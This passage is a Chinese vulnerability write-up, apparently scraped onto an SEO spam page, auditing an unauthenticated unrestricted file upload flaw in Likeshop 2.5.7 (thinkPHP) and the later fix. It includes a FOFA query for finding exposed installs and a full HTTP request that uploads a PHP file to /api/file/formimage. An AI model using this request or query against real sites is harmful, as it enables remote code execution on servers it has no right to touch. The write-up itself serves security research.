当前位置: 首页 > news >正文

学校网站下载seo线上培训班

学校网站下载,seo线上培训班,龙岩e网站,wordpress设置导航菜单显示位置本次的漏洞研究基于thinkPHP开发开的一款项目..... 漏洞描述 Likeshop是Likeshop开源的一个社交商务策略的完整解决方案,开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞,该漏洞源于文件server/application/api/contr…

本次的漏洞研究基于thinkPHP开发开的一款项目.....

漏洞描述

Likeshop是Likeshop开源的一个社交商务策略的完整解决方案,开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞,该漏洞源于文件server/application/api/controller/File.php的参数file会导致不受限制的上传。

fofa查询语句

icon_hash="874152924" && body="/pc/"

环境搭建

下载https://github.com/likeshop-github/likeshop/releases/tag/2.5.7

漏洞代码审计

server\application\api\controller的File.php文件,路由/api/file/formimage

进入userFormImage方法,FileServer::userFormImages()

107行 创建实例StorageDriver 后调用setUploadFile方法,跟过去

其实调用的是引擎的setUplloadFile方法,是那个引擎呢!

分别为阿里云存储引擎 (OSS) 本地文件驱动 腾讯云存储引擎 (COS) 七牛云存储引擎 存储引擎抽象类(那三个全部继承这个类)

setUploadFile方法只在存储引擎抽象类中存在,因此分析server.php下的setUploadFile方法

我们重点关注上传文件名,文件内容。代码中没有任何过滤的函数,

查看109行 StorageDriver->upload 方法

我们挨个分析这几个引擎类对upload的实现

local类,直接move 没有任何过滤

Aliyun类

剩下的引擎类就不分析了,基本都没有做文件名的后缀检测。

文件上传漏洞可成功利用

后续修复

在修复的版本中,Server.php中进行了文件名的限制

这里校验文件处new了一个Upload对象,该对象内容如下

漏洞复现

进入环境页面设置好sql连接

 等待安装

注册一个账号

登录账号后点击我的 设置自己信息

这里其实是有头像的,点击上传头像

抓包改变content-type 打入payload

实际测试没有cookie 没有token也可成功访问该接口

访问payload文件

payload成功执行 , 漏洞复现成功

附赠payload

POST /api/file/formimage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: multipart/form-data; boundary=---------------------------348900489633202294591557761619
Content-Length: 248

-----------------------------348900489633202294591557761619
Content-Disposition: form-data; name="file"; filename="b.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------348900489633202294591557761619--

http://www.yayakq.cn/news/884524/

相关文章:

  • sns电商网站济南高端网站建设公司
  • 地方网站改版方案做网站什么笔记本好用
  • 做网站如何找项目批量建wordpress
  • 德商网站建设网页设计员的工作内容
  • 巴青网站制作浙江省建设协会网站首页
  • 免费漫画网站小白学做网站买什么书
  • 宿州网站建设优化甲醇网络销售怎么找客源
  • 莘县做网站推广静态网页html模板
  • 建设网站需要分析什么网页设计模板网站免费
  • 电子商务网站设计是什么网站大全网站免费
  • 个人快速建站怎么做网页app
  • 网上做网站接活怎么样网站做cnzz流量统计
  • 东莞网站建设哪个平台好企业网站排版规则
  • 个人网站什么好跨境电商怎么注册
  • 常州建设网站公司网站下载中心网站开发
  • 网站优化软件招一个程序员可以做网站吗
  • 学网站开发怎么样网站安全狗卸载卸载不掉
  • 营销型网站制作多少钱wordpress播放优酷视频
  • 卖老石器老榆木做哪个网站好江苏电信网站备案
  • 前端特效网站装修设计专业
  • 建设银行网站的特点分析多少钱算受贿
  • 网站建设及应用实施方案高端建站平台设计风格出众
  • 外贸网站设计案例c2c网站的类型
  • 汉阴网站建设青岛企业网站制作公司
  • 返利的网站怎么做新网网站建设
  • 管理类联考ipo和seo
  • 阿里图标库谁做的网站做网站用
  • 医疗网站设计建设银行城东支行网站
  • 网站都有什么费用wordpress 模板 免费
  • 关于企业网站建设的必要性做公司网站写什么信息